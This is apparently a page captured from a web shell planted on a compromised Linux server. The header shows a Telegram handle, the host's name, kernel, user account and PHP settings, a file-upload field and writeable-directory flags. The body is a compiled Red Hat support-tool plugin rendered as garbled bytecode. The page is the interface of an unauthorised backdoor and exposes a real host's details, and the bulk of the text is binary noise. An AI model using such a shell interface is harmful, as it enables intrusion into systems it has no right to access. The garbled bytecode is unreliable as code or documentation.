https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/redhat_support_tool/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyc
�
��Tc@s�ddlmZddlmZmZddlmZmZddlm	Z	ddl
Z
ddlZddlj
jZddlj
jZddlZdZe
jd�Zde	fd	��YZdS(
i����(tOption(tRequestErrortConnectionError(tEmptyValueErrort_(tPluginNs&Spenser Shumaker <sshumake@redhat.com>s*redhat_support_tool.plugins.get_attachmentt
GetAttachmentcBs�eZdZed��Zed��Zed��Zed��Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd
d�ZRS(t
getattachmentcCs
td�S(s�
        The usage statement that will be printed by OptionParser.

        Example:
            - %prog -c CASENUMBER [options] <comment text here>
        Important: %prog is a OptionParser built-in.  Use it!
        s/%prog -c CASENUMBER -u ATTACHMENTUUID [options](R(tcls((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyt	get_usage$s	cCstd�|jS(s�
        The description statement that will be printed by OptionParser.

        Example:
            - 'Use the '%s' command to add a comment to a case.'             % cls.plugin_name
        s=Use the '%s' command to find a specific attachment by number.(Rtplugin_name(R((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pytget_desc/s		cCstd�|j|jfS(s
        The epilog string that will be printed by OptionParser.  Usually
        used to print an example of how to use the program.

        Example:
         Examples:
          - %s -c 12345678 Lorem ipsum dolor sit amet, consectetur adipisicing
          - %s -c 12345678
        seExamples:
- %s -c 12345678 -u AAABBBCCCDDDEEE -d ~/Downloads
- %s -c 12345678 -a -s -m -d ~/Downloads(RR
(R((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyt
get_epilog;scCsftdddddtd�dd.�tdd	dd
dtd�dd.�tdd
dddtd�dddt�tdddddtd�dd.�tdddddtd�dd.�tdddddtd�dddt�tdddd dtd!�dddt�td"d#dd$dtd%�dd&d'd(dd)�td*d+dd,dtd-�dd.�g	S(/sO
        Subclasses that need command line options should override this method
        and return an array of optparse.Option(s) to be used by the
        OptionParser.

        Example:
         return [Option("-f", "--file", action="store",
                        dest="filename", help='Some file'),
                 Option("-c", "--case",
                        action="store", dest="casenumber",
                        help='A case')]

         Would produce the following:
         Command (? for help): help mycommand

         Usage: mycommand [options]

         Use the 'mycommand' command to find a knowledge base solution by ID
         Options:
           -h, --help  show this help message and exit
           -f, --file  Some file
           -c, --case  A case
         Example:
          - mycommand -c 12345 -f abc.txt

        s-cs--casenumbertdestt
casenumberthelpsHThe case number from which the attachment will be downloaded. (required)tdefaults-us--attachmentuuidtattachmentuuids(UUID of the attachment to be downloaded.s-as--alltdownloadalls'Download all attachments for this case.tactiont
store_trues-is	--includetincludes7Limit download all attachments to those matching regex.s-xs	--excludetexcludes;Limit download all attachments to those NOT matching regex.s-ss--sortedtsortedsDSort attachment filenames according to creation date. (only with -a)s-ms
--metadatatmetadatasFSave a XML file with metadata for the given attachment. (only with -a)s-zs	--maxsizetmaxsizes=Maximum attachment size to download, in bytes. (only with -a)tstorettypetintis-ds	--destdirtdestdirs3Destination directory the attachment will be saved.N(RRtNonetFalse(R((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pytget_optionsKs>cCs�td�|j}|jds�tj�r�ttd��}t|�j�}|dkrht��nt|�j�r�||jd<q�|GHt|��q�|GHt|��ndS(Ns!ERROR: %s requires a case number.Rs/Please provide a case number (or 'q' to exit): tq(	RR
t_optionstcommontis_interactivet	raw_inputtstrtstript	Exception(tselftmsgtline((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyt_check_case_number�s	

cCs]t}|jds�tj�r�x�tr�ttd��}t|�j�dkr^t	��nt|�j�}t
jj|�}t
|�s�t
j}nt
jj|�s�td�|GHq"||jd<t}Pq"Wq�t
j|jd<n|sYt
jj|jd�|jd<t
jj|jd�sYtd�|jd}|GHt	|��qYndS(NRsbPlease provide a download directory or press enter to use the current directory (or 'q' to exit): R!s%s is not a valid directory.s#ERROR: %s is not a valid directory.(RR"R#R$tTrueR%RR&R'R(tostpatht
expandusertlentcurdirtisdir(R)tbeenVerifiedR+tdestDirR*((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyt_check_destdir�s2
	
		cCs�|jdr>|jdr:td�}|GHt|��ndS|jdrotd�d}|GHt|��n|jdr�td�d}|GHt|��n|jdsRtd
�|j}tj�r>ttd��}t|�j�}|dkrt��nt|�j�r*||jd<qO|GHt|��qR|GHt|��nx`id
d6dd6dd6j	�D]=\}}|j|rttd�|}|GHt|��qtqtWdS(NRRs'ERROR: -a cannot be used with -u optionRs)ERROR: %s is only effective when using %ss-is-aRs-xs?ERROR: %s requires the UUID of the attachment to be downloaded.s7Please provide the UUID of an attachment('q' to exit): R!s-sRs-mRs-zRs)ERROR: %s is only supported when using -a(s-is-a(s-xs-a(
R"RR(R
R#R$R%R&R'titems(R)R*R+tvaluetopt((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyt_check_mode�sB




	
.
cCs"|j�|j�|j�dS(N(R,R:R6(R)((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyt
validate_args�s

cCs3|jdr|j�dS|j|jd�dS(NRR(R"t_downloadalltdownloaduuid(R)((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pytnon_interactive_action�s

c

Cs�|j�}|jdd��|j�dt|�d}d}|jdritj|jd�}nd}|jdr�tj|jd�}nx�|D]�}|j�s�|j	�r�q�n|d8}|j
�}|r|j|�rtd�|GHq�n|r,|j|�r,td�|GHq�n|jd	rs|jd	|j
�krstd
�||j
�fGHq�n|jdr�d||f}ny;tj|�}|j|j
�kr�w�ntj|�Wntk
r�nXtd
�|GH|jdrcd|d|j
�f}tjj|jd|�}t|d�}	|	j|j��|	j�n|j|j�|�q�WdS(NtkeycSs
|j�S(N(tget_createdDate(tx((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyt<lambda>�si
iRRs*Skipping %s (does not match include regex)s#Skipping %s (matches exclude regex)Rs)Skipping %s (%d bytes exceeds size limit)Rs%d-%ssDownloading %s...Rs	%d-%s.xmlRtw(t_listattachstsorttreverseR1RR"tretcompilet
get_activetget_deprecatedtget_fileNametmatchRt
get_lengthR.tstattst_sizetunlinktOSErrorR/tjointopentwritettoXmltcloseR=tget_uuid(
R)tattachstcountRRtattachtfileNametstfmetatfp((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyR<�sV





	



cCs�d}y'tj�}|jj|jd�SWn�tk
rs}td�t|�}|GHt	j
tj|��nxt
k
r�}td�|j}|GHt	j
tj|��n8tk
r�td�}|GHt	j
tj|��nXdS(NRs	ERROR: %ss5Unable to connect to support services API. Reason: %ssZProblem connecting to the support services API.  Is the service accessible from this host?(Rt	apihelpertget_apitattachmentstlistR"RRR&tloggertlogtloggingtWARNINGRtreasonR(R)tapiteveR*RG((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyRD/s(	

c
CsSd}yTtj�}|jjd|jdd|d|d|jd�}td�|GHWn�tk
r�}td�t|�}|GHt	j
tj|��n�t
k
r�}td	�|j}|GHt	j
tj|��notk
rtd
�}|GHt	j
tj|��n8tk
rNtd�}|GHt	j
tj|��nXdS(Nt
caseNumberRtattachmentUUIDR[R5RsFile downloaded to %ss	ERROR: %ss5Unable to connect to support services API. Reason: %ssZProblem connecting to the support services API.  Is the service accessible from this host?sUnable to get attachment(RR_R`RatgetR"RRR&RcRdReRfRRgRR((R)tuuidtfilenameRhRiR*RG((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyR=Fs<
	


N(t__name__t
__module__R
tclassmethodR	RRR R,R6R:R;R>R<RDRR=(((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyR!sA		 	,			7	(toptparseRt(redhat_support_lib.infrastructure.errorsRRt(redhat_support_tool.helpers.confighelperRRtredhat_support_tool.pluginsRReR.t%redhat_support_tool.helpers.apihelperthelpersR_t"redhat_support_tool.helpers.commonR#RGt
__author__t	getLoggerRcR(((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/get_attachment.pyt<module>s

https://t.me/AnonymousX5 - 2025